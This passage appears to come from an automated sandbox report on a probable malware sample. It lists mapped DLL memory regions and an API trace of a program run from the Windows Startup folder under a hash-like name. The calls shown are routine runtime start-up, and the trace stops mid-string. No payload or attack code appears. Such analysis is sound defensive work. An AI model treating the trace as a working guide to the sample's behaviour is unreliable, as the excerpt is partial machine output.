"c:\\windows\\system32\\wow64win.dll") Region: id = 2990 start_va = 0x73d40000 end_va = 0x73d47fff monitored = 0 entry_point = 0x73d420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2991 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2992 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2993 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2994 start_va = 0x77320000 end_va = 0x7743efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 2995 start_va = 0x77220000 end_va = 0x77319fff monitored = 0 entry_point = 0x7723a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2996 start_va = 0x77220000 end_va = 0x77319fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077220000" filename = "" Region: id = 2997 start_va = 0x610000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2998 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2999 start_va = 0x75850000 end_va = 0x75896fff monitored = 0 entry_point = 0x758574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3000 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3001 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3002 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3057 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3100 start_va = 0x73a20000 end_va = 0x73a31fff monitored = 0 entry_point = 0x73a21200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3101 start_va = 0x75590000 end_va = 0x755c4fff monitored = 0 entry_point = 0x7559145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3102 start_va = 0x75c30000 end_va = 0x75cdbfff monitored = 0 entry_point = 0x75c3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3103 start_va = 0x770e0000 end_va = 0x771cffff monitored = 0 entry_point = 0x770f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3104 start_va = 0x75170000 end_va = 0x751cffff monitored = 0 entry_point = 0x7518a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3105 start_va = 0x75160000 end_va = 0x7516bfff monitored = 0 entry_point = 0x751610e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3106 start_va = 0x756f0000 end_va = 0x75708fff monitored = 0 entry_point = 0x756f4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3107 start_va = 0x751d0000 end_va = 0x751d5fff monitored = 0 entry_point = 0x751d1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3108 start_va = 0x75200000 end_va = 0x752fffff monitored = 0 entry_point = 0x7521b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3109 start_va = 0x77050000 end_va = 0x770dffff monitored = 0 entry_point = 0x77066343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3110 start_va = 0x775f0000 end_va = 0x775f9fff monitored = 0 entry_point = 0x775f36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3111 start_va = 0x75300000 end_va = 0x7539cfff monitored = 0 entry_point = 0x75333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3112 start_va = 0x75650000 end_va = 0x756effff monitored = 0 entry_point = 0x756649e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3113 start_va = 0x75ef0000 end_va = 0x76b39fff monitored = 0 entry_point = 0x75f71601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3114 start_va = 0x76cd0000 end_va = 0x76d26fff monitored = 0 entry_point = 0x76ce9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3115 start_va = 0xe0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3140 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3141 start_va = 0x1d0000 end_va = 0x357fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3142 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3143 start_va = 0x76ff0000 end_va = 0x7704ffff monitored = 0 entry_point = 0x7700158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3144 start_va = 0x754c0000 end_va = 0x7558bfff monitored = 0 entry_point = 0x754c168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3150 start_va = 0x840000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3151 start_va = 0x1170000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001170000" filename = "" Region: id = 3152 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3153 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3154 start_va = 0x9d0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 3171 start_va = 0x73a00000 end_va = 0x73a16fff monitored = 0 entry_point = 0x73a03573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3172 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3173 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3174 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3175 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3176 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3177 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3178 start_va = 0x739c0000 end_va = 0x739fafff monitored = 0 entry_point = 0x739c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Thread: id = 110 os_tid = 0x76c [0132.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x45ff0c | out: lpSystemTimeAsFileTime=0x45ff0c*(dwLowDateTime=0xf6f28800, dwHighDateTime=0x1d93032)) [0132.683] GetCurrentProcessId () returned 0x768 [0132.684] GetCurrentThreadId () returned 0x76c [0132.684] GetTickCount () returned 0x75e8 [0132.684] QueryPerformanceCounter (in: lpPerformanceCount=0x45ff04 | out: lpPerformanceCount=0x45ff04*=1699358648170) returned 1 [0132.694] GetStartupInfoW (in: lpStartupInfo=0x45feb0 | out: lpStartupInfo=0x45feb0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x45ff14, hStdError=0x1158ca4)) [0132.694] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.694] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xba0000 [0132.696] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.696] GetProcAddress (hModule=0x753b0000, lpProcName="FlsAlloc") returned 0x753c4ee3 [0132.696] GetProcAddress (hModule=0x753b0000, lpProcName="FlsGetValue") returned 0x753c1252 [0132.696] GetProcAddress (hModule=0x753b0000, lpProcName="FlsSetValue") returned 0x753c41c0 [0132.696] GetProcAddress (hModule=0x753b0000, lpProcName="FlsFree") returned 0x753c354f [0132.697] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x214) returned 0xba07d0 [0132.697] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.697] GetCurrentThreadId () returned 0x76c [0132.697] GetStartupInfoW (in: lpStartupInfo=0x45fe4c | out: lpStartupInfo=0x45fe4c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x115726a, hStdOutput=0x11575a3, hStdError=0xba07d0)) [0132.697] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x800) returned 0xba09f0 [0132.697] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0132.697] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0132.697] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0132.698] SetHandleCount (uNumber=0x20) returned 0x20 [0132.698] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0132.698] GetEnvironmentStringsW () returned 0x754cf0* [0132.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1500 [0132.698] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x5dc) returned 0xba11f8 [0132.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0xba11f8, cbMultiByte=1500, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1500 [0132.698] FreeEnvironmentStringsW (penv=0x754cf0) returned 1 [0132.698] GetLastError () returned 0x5 [0132.698] SetLastError (dwErrCode=0x5) [0132.698] GetLastError () returned 0x5 [0132.698] SetLastError (dwErrCode=0x5) [0132.698] GetLastError () returned 0x5 [0132.698] SetLastError (dwErrCode=0x5) [0132.698] GetACP () returned 0x4e4 [0132.698] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x220) returned 0xba17e0 [0132.698] GetLastError () returned 0x5 [0132.698] SetLastError (dwErrCode=0x5) [0132.698] IsValidCodePage (CodePage=0x4e4) returned 1 [0132.698] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x45fe14 | out: lpCPInfo=0x45fe14) returned 1 [0132.698] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x45f8e0 | out: lpCPInfo=0x45f8e0) returned 1 [0132.699] GetLastError () returned 0x5 [0132.699] SetLastError (dwErrCode=0x5) [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x45f658, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0132.699] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x45f8f4 | out: lpCharType=0x45f8f4) returned 1 [0132.699] GetLastError () returned 0x5 [0132.699] SetLastError (dwErrCode=0x5) [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x45f628, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ") returned 256 [0132.699] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.699] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ", cchSrc=256, lpDestStr=0x45f418, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0132.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x45fbf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿç\x98îQ,þE", lpUsedDefaultChar=0x0) returned 256 [0132.699] GetLastError () returned 0x5 [0132.699] SetLastError (dwErrCode=0x5) [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x45fcf4, cbMultiByte=256, lpWideCharStr=0x45f648, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ") returned 256 [0132.699] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0132.699] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ矲愅魫ĕĀ", cchSrc=256, lpDestStr=0x45f438, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0132.699] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 